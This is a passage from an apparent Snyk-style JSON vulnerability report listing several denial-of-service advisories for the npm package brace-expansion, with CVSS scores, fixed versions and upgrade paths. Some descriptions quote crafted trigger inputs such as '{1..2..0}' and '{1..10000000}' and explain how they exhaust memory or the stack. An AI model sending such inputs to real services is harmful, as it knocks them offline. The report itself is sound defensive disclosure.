"probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": 